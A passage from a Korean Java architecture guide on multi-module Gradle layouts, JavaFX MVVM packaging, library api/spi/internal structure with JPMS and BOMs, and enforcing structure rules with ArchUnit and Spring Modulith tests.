어울리는 곳한 팀 · 한 도메인의 여러 실행 파일팀 · 도메인 · 배포 주기가 다른 서비스
❌ 한 jar 에 다 넣고 프로필로 갈라 실행
java -jar shop.jar --spring.profiles.active=api
java -jar shop.jar --spring.profiles.active=batch
# 배치 의존성이 API 서버에 · 컨트롤러가 배치에 · 기동이 둘 다 느림
✅ 앱마다 실행 모듈
./gradlew :apps:api:bootJar :apps:batch:bootJar
java -jar apps/api/build/libs/shop-api.jar
java -jar apps/batch/build/libs/shop-batch.jar
# 각 jar 에는 그 앱이 쓰는 것만
정리 — 같은 규칙을 쓰는 API · 배치 · 워커는 한 저장소, 실행 모듈 셋, 공유 core 하나로 둡니다. 실행 모듈끼리는 서로 모르게 합니다.
STR 08

JavaFX 데스크톱 앱 — MVVM 패키지와 리소스 자리

JavaFX 화면 · FXML · 백그라운드 작업 · jpackage 배포는 JavaFX 탭(FXML 섹션 · 배포 섹션)에 있습니다. 여기서는 화면이 스무 개가 넘어도 길을 잃지 않는 폴더 모양만 봅니다. 원칙은 웹과 같습니다 — 기능별로 묶고, 화면은 바깥에.

기능별 + MVVM

desk-app/
├─ build.gradle.kts                 # javafx 플러그인 · jlink/jpackage 설정
├─ src/main/java/
│  ├─ module-info.java              # 패키지 없이 소스 루트에
│  └─ com/example/desk/
│     ├─ App.java                   # Application — 창 · 화면 전환만
│     ├─ order/
│     │  ├─ OrderController.java    # FXML 컨트롤러 = View (얇게)
│     │  └─ OrderViewModel.java     # 상태 · 명령 — Property 만, Node 없음
│     ├─ settings/
│     ├─ core/                      # 도메인 · 서비스 — JavaFX import 0
│     └─ infra/                     # HTTP 클라이언트 · 로컬 DB · 설정 파일
├─ src/main/resources/com/example/desk/
│  ├─ order/OrderView.fxml          # 컨트롤러와 같은 패키지 경로
│  ├─ order/order.css
│  └─ app.css · icons/
└─ build/                           # jlink 이미지 · jpackage 설치본 (커밋 금지)

module-info.java — FXML 이 리플렉션을 쓰는 자리만 열기

module com.example.desk {
    requires javafx.controls;
    requires javafx.fxml;
    requires java.net.http;

    opens com.example.desk.order to javafx.fxml;       // @FXML 필드 주입
    opens com.example.desk.settings to javafx.fxml;    // 화면 패키지마다 한 줄
    exports com.example.desk to javafx.graphics;       // App 을 런처가 생성
}
// order/OrderViewModel.java — 화면 없이 JUnit 으로 테스트할 수 있음
public final class OrderViewModel {
    private final StringProperty keyword = new SimpleStringProperty("");
    private final ObservableList<OrderRow> rows = FXCollections.observableArrayList();
    private final OrderService service;          // core 의 서비스

    public OrderViewModel(OrderService service) { this.service = service; }

    public StringProperty keywordProperty() { return keyword; }
    public ObservableList<OrderRow> rows() { return rows; }

    public void search() {                       // 느린 호출이면 Task 로 (JavaFX 탭)
        rows.setAll(service.search(keyword.get()));
    }
}
getClass().getResource("OrderView.fxml") 는 클래스와 같은 패키지 경로에서 찾습니다. FXML 을 resources/fxml/ 한 폴더에 몰아 두면 경로 문자열이 화면마다 늘고, 모듈 캡슐화에도 걸리기 쉽습니다.
데스크톱 앱 한 모듈 안의 네 묶음 — 곡선이 의존 방향 desk-app view FXML · @FXML 컨트롤러 viewmodel Property · 명령 core 도메인 · 서비스 infra HTTP · SQLite · 설정 viewmodel 은 Property 만 쓰고 Button · Node 는 모릅니다 → 화면을 띄우지 않고 JUnit 으로 테스트 core 와 infra 는 웹 서버 모듈과 똑같은 모양 — 나중에 서버로 옮기기도 쉽습니다
데스크톱도 화면은 가장 바깥. 화면 코드가 얇을수록 테스트가 쉬워집니다.
무엇어디에
FXML · 화면별 CSSsrc/main/resources/ 아래 컨트롤러와 같은 패키지 경로
앱 전체 CSS · 아이콘 · 폰트최상위 패키지 경로 (com/example/desk/app.css)
사용자 설정 · 로컬 DB 파일jar 안이 아니라 사용자 홈 (%APPDATA% · ~/.config) — 설치 폴더는 쓰기 금지일 수 있음
설치본 아이콘 · 라이선스src/main/packaging/ 같은 별도 폴더 — 런타임 리소스와 섞지 않음
정리 — 데스크톱 앱도 기능별 패키지 + View/ViewModel 분리, FXML 은 컨트롤러와 같은 경로, 화면 패키지마다 opens … to javafx.fxml 한 줄입니다.
STR 09

라이브러리 구조 — 공개 API · internal · exports · BOM

앱은 내가 고치면 끝이지만 라이브러리는 남이 이미 쓰고 있는 것을 고칩니다. 그래서 구조의 목적이 바뀝니다 — "어디까지가 약속이냐"를 패키지로 보이게 하는 것. JPMS 문법 전체는 깊이 탭 DEEP 17 에 있습니다.

약속하는 곳과 안 하는 곳

acme-pay/                          # 라이브러리 저장소
├─ settings.gradle.kts
├─ acme-pay-bom/                   # java-platform — 버전 묶음
├─ acme-pay-core/
│  └─ src/main/java/
│     ├─ module-info.java          # exports com.acme.pay.api
│     └─ com/acme/pay/
│        ├─ api/                   # 공개 — 하위 호환을 약속
│        ├─ spi/                   # 확장 지점 — 사용자가 구현
│        └─ internal/              # 비공개 — 언제든 바뀜
├─ acme-pay-spring-boot-starter/   # 자동 설정 (선택)
└─ acme-pay-test/                  # 사용자용 테스트 도우미 · 가짜 구현
// acme-pay-core/src/main/java/module-info.java
module com.acme.pay {
    exports com.acme.pay.api;
    exports com.acme.pay.spi;
    // com.acme.pay.internal 은 exports 하지 않음
}

실측 — internal 을 쓰려 하면 (JDK 25.0.1)

# ① 모듈패스로 컴파일 — 막힘
$ javac -p pay/out -d app/out ...
Main.java:3: error: package com.acme.pay.internal is not visible
  (package com.acme.pay.internal is declared in module com.acme.pay,
   which does not export it)

# ② 같은 jar 를 클래스패스로 — 그냥 됨
$ javac -cp pay/out -d app/out Main.java
$ java -cp "pay/out;app/out" com.shop.Main
300
exports 는 모듈패스에서만 지켜집니다. 스프링 부트 앱을 포함한 대부분의 사용자는 클래스패스로 쓰므로, 패키지 이름 internal 자체가 경고판이 되어야 합니다. 문서에도 "internal 은 호환 대상 아님"을 적습니다.
module-info 를 아직 못 넣는다면 최소한 jar 매니페스트에 자동 모듈 이름을 고정하세요 — tasks.jar { manifest { attributes("Automatic-Module-Name" to "com.acme.pay") } }. 안 넣으면 jar 파일 이름에서 추측한 이름이 사용자 module-info 에 박힙니다.
누가 무엇을 쓸 수 있나 — 칸의 글자가 결과입니다 package-private internal 의 public api 의 public 같은 패키지 가능 가능 가능 같은 jar · 다른 패키지 불가 가능 가능 다른 jar · 클래스패스 불가 가능 — 막지 못함 가능 다른 jar · 모듈패스 불가 불가 (not visible) 가능 exports 는 모듈패스에서만 지켜집니다 — 클래스패스에선 이름이 경고판 세 번째 줄의 붉은 글자가 라이브러리 작성자가 문서로 막아야 할 구멍입니다
자바의 가시성은 세 겹(접근 제어자 · 패키지 · 모듈) — 사용자가 어떻게 싣느냐에 따라 마지막 겹이 사라집니다.

멀티 모듈 라이브러리의 BOM

// acme-pay-bom/build.gradle.kts
plugins {
    `java-platform`
    `maven-publish`
}
dependencies {
    constraints {
        api(project(":acme-pay-core"))
        api(project(":acme-pay-spring-boot-starter"))
        api(project(":acme-pay-test"))
    }
}
publishing {
    publications {
        create<MavenPublication>("bom") { from(components["javaPlatform"]) }
    }
}

// 사용자 쪽 — 버전은 BOM 한 번만
dependencies {
    implementation(platform("com.acme:acme-pay-bom:2.3.0"))
    implementation("com.acme:acme-pay-core")
    testImplementation("com.acme:acme-pay-test")
}

하위 호환 규칙

변경버전
api 에 메서드 · 클래스 추가마이너 (2.3 → 2.4)
api 의 시그니처 변경 · 삭제메이저 (2 → 3) — 먼저 @Deprecated(since = "2.4", forRemoval = true) 로 한 버전 이상 예고
spi 인터페이스에 추상 메서드 추가메이저 — 사용자 구현이 깨짐. default 메서드로 추가하면 마이너
internal 무엇이든패치도 가능 — 약속 대상이 아님
사람 눈으로 지키기 어렵습니다. japicmp 같은 바이너리 호환성 검사 도구를 CI 에 넣어 직전 릴리스 jar 와 비교하면, api 패키지의 깨지는 변경을 빌드가 잡아 줍니다.
정리 — 라이브러리는 api · spi · internal 세 패키지로 약속의 범위를 드러내고, module-info 의 exports 와 이름 둘 다로 막습니다. 모듈이 여럿이면 BOM 으로 버전을 묶습니다.
STR 10

한 장 요약 — 규모 · 유형별 권장 구조와 ArchUnit 으로 강제하기

구조는 문서로 정하면 석 달 안에 무너집니다. 리뷰어가 매번 "이 패키지는 저걸 쓰면 안 돼요"라고 말해야 하기 때문입니다. 마지막 섹션은 앞의 아홉 섹션을 표 한 장으로 줄이고, 그 규칙을 테스트로 만들어 빌드가 지키게 합니다.

유형 · 규모권장 구조경계를 지키는 것다음 단계 신호
학습 · 도구 · PoC모듈 1 · 패키지 1~3 · 계층별도 OK없음파일 30개 · 사람 2명
Boot API · 1~5명모듈 1 · 기능별 패키지 · 기능 안은 평평 (STR 02)package-private · ArchUnit 2~3개두 번째 실행 파일 · 빌드 3분
Boot 핵심 도메인기능별 + 복잡한 기능만 포트 · 어댑터 (STR 03)ArchUnit 계층 규칙외부 연동 증가
API + 배치 + 워커멀티 모듈 · apps/ + modules/ · build-logic · 카탈로그 (STR 04 · 07)Gradle 의존 선언 · runtimeOnly팀이 둘로 · 배포 대기
여러 팀 · 여러 도메인서비스 분리 · 저장소 분리 (확장 탭)네트워크 · API 계약—
JavaFX 데스크톱모듈 1 · 기능별 · View/ViewModel · FXML 은 같은 경로 (STR 08)module-info opens서버와 공유할 core 가 생김
라이브러리api / spi / internal · module-info exports · BOM (STR 09)JPMS · japicmp확장 모듈이 2개 이상
무엇으로 시작할 것인가 — 마름모가 질문, 초록 상자가 답입니다 실행 jar 가 2개 이상인가? 아니오 예 멀티 모듈 + 기능별 STR 04 · STR 07 외부 연동 · 규칙이 복잡한 기능이 있나? 예 기능별 + 부분 헥사고날 그 기능만 · STR 03 아니오 엔티티 10개 이상 또는 2명 이상? 예 기능별 패키지 기본값 · STR 02 아니오 한 패키지 · 계층별 OK 학습 · 도구 · PoC 어느 갈래로 가도 기능별 패키지를 지나갑니다 규칙을 정했다면 → 아래 ArchUnit 으로 고정 구조는 한 번 고르는 게 아니라 신호가 올 때 다시 이 그림을 타는 것입니다
질문 셋이면 시작 구조가 정해집니다 — 대부분의 답은 "기능별 패키지"입니다.

ArchUnit — 구조 규칙을 테스트로 🟡 중급

// app-api/src/test/java/com/shop/ArchitectureTest.java
package com.shop;

import com.tngtech.archunit.core.importer.ImportOption;
import com.tngtech.archunit.junit.AnalyzeClasses;
import com.tngtech.archunit.junit.ArchTest;
import com.tngtech.archunit.lang.ArchRule;

import static com.tngtech.archunit.lang.syntax.ArchRuleDefinition.noClasses;
import static com.tngtech.archunit.library.Architectures.layeredArchitecture;
import static com.tngtech.archunit.library.dependencies.SlicesRuleDefinition.slices;

@AnalyzeClasses(packages = "com.shop",
                importOptions = ImportOption.DoNotIncludeTests.class)
class ArchitectureTest {

    // ① 기능 패키지끼리 순환 금지 — order → member → order 면 실패
    @ArchTest
    static final ArchRule 기능_사이_순환_금지 =
        slices().matching("com.shop.(*)..").should().beFreeOfCycles();

    // ② 계층 방향 — web → application → domain 만 허용
    @ArchTest
    static final ArchRule 계층_방향 = layeredArchitecture()
        .consideringOnlyDependenciesInLayers()
        .layer("Web").definedBy("..web..")
        .layer("Application").definedBy("..application..")
        .layer("Domain").definedBy("..domain..")
        .whereLayer("Web").mayNotBeAccessedByAnyLayer()
        .whereLayer("Application").mayOnlyBeAccessedByLayers("Web")
        .whereLayer("Domain").mayOnlyBeAccessedByLayers("Application", "Web");

    // ③ 컨트롤러가 리포지토리를 직접 부르지 않기 (기능별 평평 구조에도 적용)
    @ArchTest
    static final ArchRule 컨트롤러는_리포지토리_직접_금지 =
        noClasses().that().haveSimpleNameEndingWith("Controller")
            .should().dependOnClassesThat().haveSimpleNameEndingWith("Repository");

    // ④ 다른 기능의 internal 패키지 금지 — 기능마다 한 줄
    @ArchTest
    static final ArchRule 주문_internal_은_주문만 =
        noClasses().that().resideOutsideOfPackage("com.shop.order..")
            .should().dependOnClassesThat().resideInAPackage("com.shop.order.internal..");
}

어디에 두고 어떻게 돌리나

// app-api/build.gradle.kts — 실행 모듈의 테스트에 (모든 모듈 클래스가 보이는 곳)
dependencies {
    testImplementation(libs.archunit.junit5)
}
  • 실행 모듈에 둡니다 — 그 모듈의 테스트 클래스패스에 core · infra 클래스가 다 있어야 "전체"를 검사합니다.
  • 이미 위반이 많은 기존 프로젝트는 FreezingArchRule.freeze(규칙) 로 현재 위반을 기록해 두고 새 위반만 막습니다.
ArchUnit 은 외부 의존성이라 실행하지 않았고 API 는 1.4 사용자 가이드 기준입니다. 도메인이 스프링을 모르게 하는 규칙은 DEEP 16 에 있습니다.

Spring Modulith — 기능별 패키지를 "모듈"로 검사

class ModularityTest {
    static final ApplicationModules modules =
        ApplicationModules.of(ShopApplication.class);

    @Test
    void 모듈_구조_검증() {
        modules.verify();          // 순환 · 다른 모듈 내부 접근이면 실패
    }

    @Test
    void 문서_생성() {
        new Documenter(modules).writeDocumentation();   // 모듈 관계도 생성
    }
}
Modulith 는 메인 패키지의 바로 아래 패키지(order · member)를 모듈로, 그 하위 패키지를 모듈 내부로 봅니다 — STR 02 의 기능별 패키지가 그대로 규칙이 됩니다. 모듈 사이 호출을 이벤트(@ApplicationModuleListener)로 이끌어 나중에 서비스로 떼어낼 여지를 남깁니다. 버전은 Boot 4 짝인 Modulith 2.x 를 BOM(spring-modulith-bom)으로 맞춥니다.
강제 수단무엇을 막나비용
package-private같은 패키지 밖의 접근0 — 하위 패키지를 만들면 사라짐
Gradle 모듈 의존 선언선언 안 한 모듈 import (컴파일 실패)모듈 분할 비용
ArchUnit패키지 · 이름 · 계층 · 순환 규칙 무엇이든테스트 한 파일 · 규칙 유지
Spring Modulith기능 모듈 사이 순환 · 내부 접근관례(패키지 모양)를 따라야 함
JPMS exports모듈패스 사용자의 내부 접근스프링 앱에는 실익이 적음 (DEEP 17)
정리 — 시작은 대부분 기능별 패키지, 실행 jar 가 둘이 되면 멀티 모듈. 정한 규칙은 ArchUnit 테스트 한 파일로 고정해 리뷰가 아니라 빌드가 지키게 합니다.